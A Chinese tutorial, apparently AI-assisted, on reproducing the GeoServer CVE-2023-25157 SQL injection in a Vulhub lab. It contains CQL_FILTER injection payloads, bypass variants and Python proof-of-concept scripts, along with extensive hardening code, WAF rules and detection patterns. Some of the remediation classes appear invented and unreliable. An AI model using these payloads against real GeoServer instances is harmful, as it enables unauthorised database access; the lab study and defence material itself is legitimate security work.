手把手教你用Vulhub复现geoserver CVE-2023-25157漏洞(附完整POC)

0 阅读11分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理分析

CVE-2023-25157 是 GeoServer 中一个严重的 SQL Injection(SQL 注入)漏洞,影响多个主要版本(低于 2.21.4、2.22.2、2.20.7、2.19.7 等)。该漏洞源于 GeoServer 对 OGC Filter 表达式语言和 CQL(Common Query Language) 输入没有正确过滤,导致恶意构造的 SQL 片段被嵌入后台数据库查询。 GeoServer 使用这些查询用于 Web Feature Service (WFS)Web Map Service (WMS)Web Coverage Service (WCS) 等协议,在处理包括 PropertyIsLikestrEndsWithstrStartsWithFeatureIdjsonArrayContains 等条件时可能不安全。

攻击者无需认证即可向受影响服务发送特制的带有恶意条件的请求,远程触发 SQL 注入执行任意数据库操作,可能导致:

  • 数据泄露、篡改或删除
  • 提权或获取数据库敏感内容
  • 潜在远程代码执行(结合其它漏洞) 根据 NVD 记录,该漏洞的 CVSSv3 基础评分为 9.8 (Critical),攻击者无需特权且攻击复杂度低。
┌────────────┐    ① 构造恶意 CQL_FILTER 参数
│ 攻击者     │ ──→ 例如:?CQL_FILTER=strEndsWith(attribute,''') OR 1=1 --
└────────────┘     或使用其他函数组合
      │
      ▼
┌─────────────────────┐
│ GeoServer WFS/WMS   │ 接收请求,解析 CQL 表达式
└─────────┬───────────┘
          │ ② 未正确转义,生成恶意 SQL
          ▼
┌─────────────────────┐
│ 数据库(如 PostGIS)│ 执行注入的 SQL 语句
└─────────┬───────────┘
          │ ③ 返回敏感数据或执行任意操作
          ▼
┌─────────────────────┐
│ 攻击者获取数据或权限 │
└─────────────────────┘
  1. DFD(数据流图 + 威胁建模)
[External Attacker]
        |
        | (1) Malicious HTTP OGC Filter or CQL request
        v
[GeoServer Request Handler]
        |
        | (2) Unsafe CQL/Filter Handler (SQL Builder)
        v
[Database Query Execution]
        |
        v
[Database: GeoServer Data Store]


STRIDE 威胁分析

威胁类型是否说明
Spoofing无需伪造凭证
Tampering注入破坏查询结构
Repudiation⚠️难辨合法/攻击
Information Disclosure可泄露敏感数据
Denial of Service⚠️可构造耗时查询阻断
Elevation of Privilege⚠️可结合其它缺陷扩权

漏洞复现原理图示说明

典型复现流程示意:

恶意构造的 OGC Filter / CQL 请求
例如:
/geoserver/wfs?service=WFS&version=1.0.0&request=GetFeature
&typeName=workspace:layer
&cql_filter=PropertyIsLike(propertyName,'%foo%' OR '1'='1',’%’,'%’)

处理流程:
GeoServer 解析请求
    ↓
Filter -> CQL Parser
    ↓
动态构造的 SQL 包含未过滤的注入片段
    ↓
数据库执行查询
    ↓
攻击者获得非授权数据或影响 DB 内容


这种攻击属于典型 SQL 注入:用户控制表达式输入进而影响最终生成的 SQL 语句逻辑。

漏洞原理示意图 CQL过滤器注入原理


正常WFS请求:
http://geoserver/wfs?
  service=WFS&
  version=1.1.0&
  request=GetFeature&
  typeName=target_layer&
  CQL_FILTER=strEndsWith(attribute,'value')

恶意注入Payload:
CQL_FILTER=strEndsWith(attribute,''') OR 1=1 OR (''')='''

FilterToSQL解析器转换:
原始: strEndsWith(attribute,''') OR 1=1 OR (''')='''
转换后: attribute LIKE '%'' OR 1=1 OR (''='''

实际SQL执行:
SELECT * FROM target_layer WHERE attribute LIKE '%' OR 1=1 OR (''=''

由于1=1恒为真,返回所有要素

绕过技术示例


1. 使用strEndsWith函数绕过:
   CQL_FILTER=strEndsWith('test','') OR 1=1 AND (''='')

2. 使用strStartsWith函数:
   CQL_FILTER=strStartsWith('test','') UNION SELECT ... AND (''='')

3. 嵌套函数绕过:
   CQL_FILTER=strEndsWith(strStartsWith('test',''),'') OR 1=1 AND (''='')

4. 使用PostGIS函数:
   CQL_FILTER=geometryType(geom)='POINT' OR 1=1 AND (''='')

漏洞原理

靶场环境如下

Snipaste_2026-02-05_13-57-28.png

ffuf -u http://192.168.0.32:8080/geoserver/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.bak,.txt -t 50 -fs 0

gobuster dir -u http://192.168.0.32:8080/geoserver/ -w /usr/share/wordlists/dirb/common.txt 

目录扫描

Snipaste_2026-02-05_14-09-57.png

Snipaste_2026-02-05_14-12-02.png

ows是个新奇的东西打开试试,或者点击web界面的任意按钮即可跳转到。

Snipaste_2026-02-05_14-21-55.png

Snipaste_2026-02-05_14-38-58.png

Snipaste_2026-02-05_14-40-21.png

后面 3 个参数(typeNamemaxFeaturesoutputFormat)是通过以下方式找到或确定的:

✅ typeName(图层名称)

  • 来自 WFS 服务中已发布的要素类型(图层)列表,这些信息通常在 GetCapabilities 响应的 <FeatureTypeList> 部分列出。
  • 在提供的片段中,虽然没有直接显示所有图层,但从命名空间(如 ne:sf:topp: 等)可以推测存在多个图层。例如 ne:populated_places 表示命名空间 ne 下的 populated_places 图层。
  • 在实际使用中,您可以通过查看完整的 GetCapabilities 响应或使用 DescribeFeatureType 请求来获取所有可用 typeName

✅ maxFeatures(返回要素数量限制)

  • 这是一个可选参数,用于限制返回的要素数量,避免响应过大。
  • 它不是从 GetCapabilities 中直接提取的,而是 WFS 标准支持的参数,可以在 GetFeature 请求中直接使用。
  • 通常用于测试或分页场景,例如 maxFeatures=1 表示只返回第一个要素。

✅ outputFormat(输出格式)

  • 在 GetCapabilities 响应中,<GetFeature> 部分会列出支持的输出格式,例如:
  <ResultFormat>
        <XML/>
        <XML2/>
    </ResultFormat>
    
这表示支持 GML 格式(XML 和 GML2/GML3)。
  • 但 GeoServer 通常还支持其他格式,如 jsoncsvshapefile 等,即使没有在 GetCapabilities 中明确列出。这些格式是服务器扩展支持的。

CQL_FILTER 是 GeoServer 特有的扩展参数,不是 WFS 标准规范的一部分。它用于通过 CQL(Common Query Language)语法过滤要素。

  • 很多 GIS 开发者在 GeoServer 社区中分享使用 CQL_FILTER 的示例。
  • 示例 URL 中的 CQL_FILTER 看起来很像是针对 SQL 注入测试 构造的:
strStartsWith(name,'x'') = true 
and 1=(SELECT CAST ((SELECT version()) AS integer)) 
–- ') = true


http://192.168.0.32:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true

这是一个典型的 CQL 注入测试,用于探测 PostgreSQL 数据库版本。

#!/usr/bin/env python3
"""
GeoServer WFS SQL注入测试工具
用法: python wfs_test.py <target_url>
"""

import sys
import requests

def test_geoserver_sql_injection(target):
    """测试GeoServer SQL注入漏洞"""
    
    # 测试Payload
    payloads = [
        # PostgreSQL版本检测
        "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true",
        # 简化的测试
        "strStartsWith(name,'x'') = true and 1=1 -- ') = true",
        "strStartsWith(name,'x'') = true and 1=2 -- ') = true",
    ]
    
    base_params = {
        "service": "wfs",
        "version": "1.0.0",
        "request": "GetFeature",
        "typeName": "vulhub:example"
    }
    
    for i, payload in enumerate(payloads):
        print(f"\n[+] 测试Payload {i+1}: {payload[:50]}...")
        
        params = base_params.copy()
        params["CQL_FILTER"] = payload
        
        try:
            response = requests.get(target, params=params, timeout=10)
            
            print(f"    状态码: {response.status_code}")
            print(f"    响应长度: {len(response.text)}")
            
            # 检查响应中是否包含数据库版本信息
            if "PostgreSQL" in response.text:
                print("    [!] 可能检测到PostgreSQL版本信息!")
                
        except Exception as e:
            print(f"    [x] 错误: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("用法: python wfs_test.py http://目标IP:端口/geoserver/ows")
        sys.exit(1)
    
    target = sys.argv[1]
    test_geoserver_sql_injection(target)

python request.py http://192.168.0.32:8080/geoserver/ows

Snipaste_2026-02-05_14-40-38.png

然后拼接找到的三个功能属性值。

Snipaste_2026-02-05_14-47-44.png 最后用burpsuite抓包查看数据库版本。

Snipaste_2026-02-05_15-07-31.png

这里不给数据包代码,而是将其改成 python的requests和urllib包,这些效果也是同burosuite抓包和curl命令是等价的。

import requests

url = "http://192.168.0.32:8080/geoserver/ows"
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
}

headers = {
    "Accept-Encoding": "gzip, deflate, br",
    "Accept": "*/*",
    "Accept-Language": "en-US;q=0.9,en;q=0.8",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    "Cache-Control": "max-age=0"
}

response = requests.get(url, params=params, headers=headers)
print(f"状态码: {response.status_code}")
print(f"响应内容: {response.text}")

from urllib import request
import urllib.parse

base_url = "http://192.168.0.32:8080/geoserver/ows"
query_params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
}

# 构建URL
encoded_params = urllib.parse.urlencode(query_params, safe="=(),' ")
full_url = f"{base_url}?{encoded_params}"

# 创建请求对象
req = request.Request(
    full_url,
    headers={
        "Accept-Encoding": "gzip, deflate, br",
        "Accept": "*/*",
        "Accept-Language": "en-US;q=0.9,en;q=0.8",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
        "Cache-Control": "max-age=0"
    }
)

# 发送请求
try:
    with request.urlopen(req) as response:
        print(f"状态码: {response.status}")
        content = response.read().decode('utf-8')
        print(f"响应内容: {content}")
except Exception as e:
    print(f"错误: {e}")

修复建议

  1. 升级版本:立即升级至 GeoServer 2.21.4, 2.22.2 或更高版本。
  2. 禁用插件:如果不需要复杂的过滤功能,考虑在全局设置中限制 CQL 过滤的使用。
  3. 最小权限原则:确保 GeoServer 连接数据库的账号仅具有 SELECT 权限,且无法访问系统表(如 pg_authid)。
  4. 配置过滤:使用 WAF 拦截包含 SQL 特征关键字(如 UNION, SELECT, --)的 CQL_FILTER 参数请求。

伪代码级修复示例

修复的核心在于改进 FilterToSQL 转换器的逻辑,确保所有函数参数都经过严格的转义处理,或优先使用预编译语句。

❌ 漏洞代码(简单的字符串替换)

// 在翻译 strEndsWith 函数的类中
public void visit(EndsWithFunction filter, Object extraData) {
    String literal = filter.getLiteral().toString();
    String property = filter.getPropertyName();
    
    // 危险:直接将 literal 拼接到 LIKE 语句中,未考虑引号闭合
    String sql = property + " LIKE '%" + literal + "'";
    out.write(sql);
}

✅ 修复后代码(严格转义与参数化思维)

public void visit(EndsWithFunction filter, Object extraData) {
    String literal = filter.getLiteral().toString();
    String property = filter.getPropertyName();

    // 1. 严格转义单引号:将 ' 替换为数据库对应的转义符(如 '')
    String escapedLiteral = escapeSqlLiteral(literal);

    // 2. 构造安全的表达式
    // 修复方案通常会使用预定义的模板,并确保 % 号的位置安全
    StringBuilder safeSql = new StringBuilder();
    safeSql.append(property)
           .append(" LIKE '%")
           .append(escapedLiteral)
           .append("'");

    out.write(safeSql.toString());
}

// 辅助方法:确保内容不包含未处理的闭合符
private String escapeSqlLiteral(String input) {
    if (input == null) return "";
    return input.replace("'", "''"); // 针对 PostGIS/Standard SQL 的转义
}

修复方案1:输入验证和过滤


// 修复FilterToSQL解析器
public class SecureFilterToSQL extends FilterToSQL {
    
    private static final Pattern SQL_INJECTION_PATTERNS = Pattern.compile(
        "(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|" +
        "drop.*table|alter.*table|create.*table|exec\\s*\\(|xp_cmdshell|" +
        "information_schema|pg_catalog|--|#|/\\*|\\*/|;|')"
    );
    
    @Override
    public Object visit(Function function, Object extraData) throws RuntimeException {
        // 检查函数参数是否包含SQL注入
        List<Expression> parameters = function.getParameters();
        
        for (Expression param : parameters) {
            if (param instanceof Literal) {
                Literal literal = (Literal) param;
                Object value = literal.getValue();
                
                if (value instanceof String) {
                    String strValue = (String) value;
                    if (containsSqlInjection(strValue)) {
                        throw new SecurityException(
                            "Potential SQL injection detected in function parameter"
                        );
                    }
                }
            }
        }
        
        return super.visit(function, extraData);
    }
    
    private boolean containsSqlInjection(String input) {
        if (input == null) {
            return false;
        }
        
        // 检查单引号逃逸
        int singleQuoteCount = countOccurrences(input, "'");
        if (singleQuoteCount % 2 != 0) {
            // 奇数个单引号,可能用于逃逸
            return true;
        }
        
        // 检查SQL关键字
        return SQL_INJECTION_PATTERNS.matcher(input).find();
    }
    
    private int countOccurrences(String str, String sub) {
        if (str == null || sub == null || sub.isEmpty()) {
            return 0;
        }
        return (str.length() - str.replace(sub, "").length()) / sub.length();
    }
    
    @Override
    protected String escapeString(String literal) {
        // 加强字符串转义
        if (literal == null) {
            return "NULL";
        }
        
        // 转义单引号
        String escaped = literal.replace("'", "''");
        
        // 检查是否仍然包含危险字符
        if (containsSqlInjection(escaped)) {
            throw new SecurityException(
                "String literal may contain SQL injection: " + literal
            );
        }
        
        return "'" + escaped + "'";
    }
}

修复方案2:CQL过滤器白名单验证


// CQL过滤器验证器
@Component
public class CQLFilterValidator {
    
    private static final Set<String> ALLOWED_FUNCTIONS = Set.of(
        "strEndsWith", "strStartsWith", "strEqualsIgnoreCase",
        "strMatches", "strToLowerCase", "strToUpperCase",
        "geometryType", "boundingBox", "intersects", "disjoint",
        "touches", "crosses", "within", "contains", "overlaps",
        "equals", "distance", "area", "length", "buffer"
    );
    
    private static final Pattern ALLOWED_PATTERNS = Pattern.compile(
        "^[a-zA-Z0-9_\\s(),.'\"=<>!&|\\-+*/%]+$"
    );
    
    public boolean validateCQLFilter(String cqlFilter, String layerName) {
        if (cqlFilter == null || cqlFilter.trim().isEmpty()) {
            return true;
        }
        
        // 1. 基本模式检查
        if (!ALLOWED_PATTERNS.matcher(cqlFilter).matches()) {
            logSecurityEvent("CQL filter contains invalid characters", cqlFilter);
            return false;
        }
        
        // 2. 解析和验证函数调用
        try {
            ECQL.toFilter(cqlFilter); // 尝试解析
            
            // 3. 自定义验证
            CQLFilterVisitor visitor = new CQLFilterVisitor();
            Filter filter = ECQL.toFilter(cqlFilter);
            filter.accept(visitor, null);
            
            if (!visitor.isValid()) {
                logSecurityEvent("CQL filter validation failed", cqlFilter);
                return false;
            }
            
        } catch (CQLException e) {
            logSecurityEvent("CQL filter parsing error", cqlFilter);
            return false;
        } catch (SecurityException e) {
            logSecurityEvent("CQL filter security violation", cqlFilter);
            return false;
        }
        
        return true;
    }
    
    private void logSecurityEvent(String event, String cqlFilter) {
        // 记录安全事件
        LOGGER.warn("Security event: {} - Filter: {}", event, 
                   cqlFilter.substring(0, Math.min(cqlFilter.length(), 100)));
    }
    
    // 自定义过滤器访问器
    private class CQLFilterVisitor implements FilterVisitor {
        private boolean valid = true;
        
        @Override
        public Object visit(ExcludeFilter filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(IncludeFilter filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(And filter, Object extraData) {
            filter.getChildren().forEach(f -> f.accept(this, extraData));
            return null;
        }
        
        @Override
        public Object visit(Or filter, Object extraData) {
            filter.getChildren().forEach(f -> f.accept(this, extraData));
            return null;
        }
        
        @Override
        public Object visit(Not filter, Object extraData) {
            filter.getFilter().accept(this, extraData);
            return null;
        }
        
        @Override
        public Object visit(PropertyIsBetween filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(PropertyIsLike filter, Object extraData) {
            // 检查LIKE模式
            String pattern = filter.getLiteral();
            if (pattern.contains("%") && pattern.length() > 100) {
                valid = false; // 模式过长
            }
            return null;
        }
        
        @Override
        public Object visit(PropertyIsNull filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(PropertyIsNil filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(BBOX filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Beyond filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Contains filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Crosses filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Disjoint filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(DWithin filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Equals filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Intersects filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Overlaps filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Touches filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Within filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(After after, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(AnyInteracts anyInteracts, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Before before, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Begins begins, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(BegunBy begunBy, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(During during, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(EndedBy endedBy, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Ends ends, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Meets meets, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(MetBy metBy, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(OverlappedBy overlappedBy, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(TContains tcontains, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(TEquals tequals, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(PropertyIsEqualTo filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(PropertyIsNotEqualTo filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(PropertyIsGreaterThan filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(PropertyIsGreaterThanOrEqualTo filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(PropertyIsLessThan filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(PropertyIsLessThanOrEqualTo filter, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(NilExpression nilExpression, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Add add, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Divide divide, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Multiply multiply, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Subtract subtract, Object extraData) {
            return null;
        }
        
        @Override
        public Object visit(Function function, Object extraData) {
            // 检查函数是否在白名单中
            String functionName = function.getName();
            if (!ALLOWED_FUNCTIONS.contains(functionName)) {
                logSecurityEvent("Disallowed function in CQL filter", functionName);
                valid = false;
                return null;
            }
            
            // 检查函数参数
            List<Expression> params = function.getParameters();
            for (Expression param : params) {
                if (param instanceof Literal) {
                    Literal literal = (Literal) param;
                    Object value = literal.getValue();
                    
                    if (value instanceof String) {
                        String strValue = (String) value;
                        // 检查字符串参数
                        if (strValue.length() > 1000) {
                            valid = false; // 参数过长
                        }
                    }
                }
            }
            
            return null;
        }
        
        @Override
        public Object visit(Literal expression, Object extraData) {
            Object value = expression.getValue();
            
            if (value instanceof String) {
                String strValue = (String) value;
                // 检查字符串字面量
                if (strValue.length() > 1000) {
                    valid = false; // 字符串过长
                }
                
                // 检查是否包含SQL注入特征
                if (strValue.matches(".*(?i)(select|union|insert|update|delete|drop|exec).*")) {
                    valid = false;
                }
            }
            
            return null;
        }
        
        @Override
        public Object visit(PropertyName expression, Object extraData) {
            // 检查属性名
            String propertyName = expression.getPropertyName();
            if (!propertyName.matches("^[a-zA-Z_][a-zA-Z0-9_]*$")) {
                valid = false;
            }
            return null;
        }
        
        public boolean isValid() {
            return valid;
        }
    }
}

修复方案3:数据库权限限制


-- 创建GeoServer只读用户
CREATE USER geoserver_ro WITH PASSWORD 'StrongPassword123!';
GRANT CONNECT ON DATABASE gisdb TO geoserver_ro;

-- 为特定图层授予只读权限
GRANT SELECT ON TABLE public.buildings TO geoserver_ro;
GRANT SELECT ON TABLE public.roads TO geoserver_ro;
GRANT SELECT ON TABLE public.parcels TO geoserver_ro;

-- 撤销危险权限
REVOKE ALL ON SCHEMA public FROM geoserver_ro;
REVOKE ALL ON DATABASE gisdb FROM geoserver_ro;
REVOKE EXECUTE ON ALL FUNCTIONS IN SCHEMA public FROM geoserver_ro;

-- 创建只读视图
CREATE VIEW buildings_safe AS
SELECT id, name, geom
FROM buildings
WHERE status = 'active';

GRANT SELECT ON buildings_safe TO geoserver_ro;

-- 使用行级安全策略(PostgreSQL 9.5+)
ALTER TABLE buildings ENABLE ROW LEVEL SECURITY;

CREATE POLICY buildings_select_policy ON buildings
FOR SELECT USING (status = 'active');

-- 限制函数执行
REVOKE EXECUTE ON FUNCTION pg_sleep(float8) FROM geoserver_ro;
REVOKE EXECUTE ON FUNCTION version() FROM geoserver_ro;
REVOKE EXECUTE ON FUNCTION current_user FROM geoserver_ro;

修复方案4:GeoServer配置加固


<!-- web.xml 添加安全过滤器 -->
<filter>
    <filter-name>CQLFilterSecurityFilter</filter-name>
    <filter-class>org.geoserver.security.CQLFilterSecurityFilter</filter-class>
    <init-param>
        <param-name>maxFilterLength</param-name>
        <param-value>1000</param-value>
    </init-param>
    <init-param>
        <param-name>allowedFunctions</param-name>
        <param-value>strEndsWith,strStartsWith,strEqualsIgnoreCase,geometryType,boundingBox</param-value>
    </init-param>
    <init-param>
        <param-name>blockPatterns</param-name>
        <param-value>union.*select,select.*from.*information_schema,exec.*\(,xp_cmdshell</param-value>
    </init-param>
</filter>

<filter-mapping>
    <filter-name>CQLFilterSecurityFilter</filter-name>
    <url-pattern>/wfs</url-pattern>
    <url-pattern>/ows</url-pattern>
</filter-mapping>

<!-- 启用CORS但限制来源 -->
<filter>
    <filter-name>CorsFilter</filter-name>
    <filter-class>org.geoserver.filters.CorsFilter</filter-class>
    <init-param>
        <param-name>allowedOrigins</param-name>
        <param-value>https://trusted-domain.com</param-value>
    </init-param>
    <init-param>
        <param-name>allowedMethods</param-name>
        <param-value>GET,POST</param-value>
    </init-param>
</filter>

基于此漏洞的检测与防护规则

Flask 中间件检测(伪代码)

from flask import Flask, request, abort
import re

app = Flask(__name__)

#  常见 SQLi 模式
SQLI_PATTERN = re.compile(r"\b(OR|AND)\b.*=|'.+'--|;\s*|/\*.*\*/|\bUNION\b", re.IGNORECASE)

@app.before_request
def detect_sqli(): 
    # 只针对可能承载 CQL/Filter 的请求
    if request.method == "GET" and any(param in request.args for param in ["cql_filter","filter"]):
        for value in request.args.values():
            if SQLI_PATTERN.search(value):
                abort(403, "SQL Injection detected")

WAF规则

# Nginx GeoServer防护配置
location /geoserver/ {
    # 检查CQL_FILTER参数
    if ($args ~* "CQL_FILTER.*strEndsWith.*'.*'.*OR.*=.*AND") {
        return 403;
    }
    
    # 检查SQL注入特征
    if ($args ~* "CQL_FILTER.*union.*select") {
        return 403;
    }
    
    # 限制请求大小
    client_max_body_size 1m;
    
    # 启用速率限制
    limit_req zone=geoserver_limit burst=10 nodelay;
    
    proxy_pass http://geoserver:8080;
}

limit_req_zone $binary_remote_addr zone=geoserver_limit:10m rate=5r/s;

安全监控脚本

# GeoServer安全监控
import re
from datetime import datetime

class GeoServerSecurityMonitor:
    
    SQLI_PATTERNS = [
        re.compile(r'CQL_FILTER.*strEndsWith.*\'.*\'.*OR.*[0-9]=[0-9]', re.I),
        re.compile(r'CQL_FILTER.*union.*select', re.I),
        re.compile(r'CQL_FILTER.*select.*from.*information_schema', re.I),
        re.compile(r'CQL_FILTER.*cast.*\(.*select', re.I),
        re.compile(r'CQL_FILTER.*version\(\)', re.I),
    ]
    
    def monitor_access_log(self, log_file):
        """监控访问日志"""
        alerts = []
        
        with open(log_file, 'r') as f:
            for line in f:
                if 'CQL_FILTER' in line:
                    for pattern in self.SQLI_PATTERNS:
                        if pattern.search(line):
                            alert = {
                                'timestamp': datetime.now(),
                                'type': 'geoserver_sqli_attempt',
                                'pattern': pattern.pattern,
                                'log_line': line.strip()[:200]
                            }
                            alerts.append(alert)
                            break
        
        return alerts

基于 Flask 的实时检测与防护(应用层)

部署一个 Flask 应用作为反向代理/API 网关,对所有进入 GeoServer 的请求进行预处理,拦截恶意请求。

1.1 Flask 中间件:检测 CQL 参数中的注入特征

# geoserver_proxy.py
import re
import time
from flask import Flask, request, abort, jsonify

app = Flask(__name__)

# 敏感路径(GeoServer WFS/WMS 等)
SENSITIVE_PATHS = ['/geoserver/wfs', '/geoserver/wms', '/geoserver/wcs']

# 检测危险函数的关键词
DANGEROUS_FUNCTIONS = [
    'strEndsWith', 'strStartsWith', 'PropertyIsLike', 'FeatureId',
    'jsonArrayContains', 'strMatches', 'strEqualsIgnoreCase'
]

# SQL 注入特征正则
SQLI_PATTERNS = [
    re.compile(r'if\s*\(', re.I),
    re.compile(r'sleep\s*\(', re.I),
    re.compile(r'union\s+select', re.I),
    re.compile(r'select\s+.*\s+from', re.I),
    re.compile(r'insert\s+into', re.I),
    re.compile(r'update\s+.*\s+set', re.I),
    re.compile(r'delete\s+from', re.I),
    re.compile(r'drop\s+table', re.I),
    re.compile(r'--', re.I),
    re.compile(r'#', re.I),
    re.compile(r';', re.I),
    re.compile(r"'", re.I),
]

def check_cql_for_injection(cql_value):
    """检查 CQL 参数是否包含注入特征"""
    if not isinstance(cql_value, str):
        return False
    # 检查危险函数
    for func in DANGEROUS_FUNCTIONS:
        if func.lower() in cql_value.lower():
            # 进一步检查 SQL 注入模式
            for pattern in SQLI_PATTERNS:
                if pattern.search(cql_value):
                    return True
    return False

# 简单的会话验证(GeoServer 可能无需认证,此处可选)
def is_authenticated():
    # 可根据实际认证方式判断,如 cookie 或 token
    return False  # 默认未认证,仅用于示例

# 速率限制(内存实现)
request_records = {}

def rate_limit(ip, limit=20, window=60):
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 只处理敏感路径
    if not any(request.path.startswith(p) for p in SENSITIVE_PATHS):
        return

    # 2. 检查 CQL_FILTER 参数
    cql_filter = request.args.get('CQL_FILTER')
    if cql_filter and check_cql_for_injection(cql_filter):
        log_attack(request, 'sqli_in_cql', cql_filter)
        abort(403, description='Malicious CQL filter detected')

    # 3. 对其他参数也做简单检查(可选)
    for key, value in request.args.items():
        if key != 'CQL_FILTER' and isinstance(value, str):
            if check_cql_for_injection(value):  # 可复用,但可能误报
                log_attack(request, 'sqli_in_other_param', f"{key}={value}")
                abort(403, description='Malicious parameter detected')

    # 4. 对未认证请求进行速率限制(防止扫描)
    if not is_authenticated() and rate_limit(request.remote_addr):
        abort(429, description='Too many requests')

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

def log_attack(request, attack_type, payload):
    with open('geoserver_attack.log', 'a') as f:
        f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type} - {payload}\n")

# 转发请求到后端 GeoServer
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 实际应转发到 GeoServer(如 http://localhost:8080/geoserver)
    return f"Proxied to {path}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

基于 TensorFlow 的异常行为检测 利用机器学习模型识别针对 GeoServer 的异常访问模式,特别是对 CQL 参数的异常请求。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:

  • path_length: 请求路径长度
  • is_sensitive: 是否访问敏感路径(0/1)
  • has_cql: 是否存在 CQL_FILTER 参数(0/1)
  • cql_length: CQL_FILTER 参数值的长度
  • cql_digit_ratio: 参数值中数字的比例
  • cql_letter_ratio: 参数值中字母的比例
  • cql_special_char_count: 参数值中特殊字符(如 ', ", (, ), ;)的数量
  • has_dangerous_func: 是否包含危险函数名(如 strEndsWith)
  • has_sql_keyword: 是否包含 SQL 关键字(如 select, union, sleep)
  • hour: 请求小时
  • ip_reputation: IP 信誉分(需外部API)
  • user_agent_length: User-Agent 长度
  • is_known_ua: 是否常见浏览器 UA
  • request_freq_10min: 该IP最近10分钟请求数
  • is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
    features = [
        len(request_entry['path']),
        1 if request_entry['is_sensitive'] else 0,
        request_entry.get('has_cql', 0),
        request_entry.get('cql_length', 0),
        request_entry.get('cql_digit_ratio', 0),
        request_entry.get('cql_letter_ratio', 0),
        request_entry.get('cql_special_char_count', 0),
        request_entry.get('has_dangerous_func', 0),
        request_entry.get('has_sql_keyword', 0),
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        int(request_entry['is_auth'])
    ]
    return features

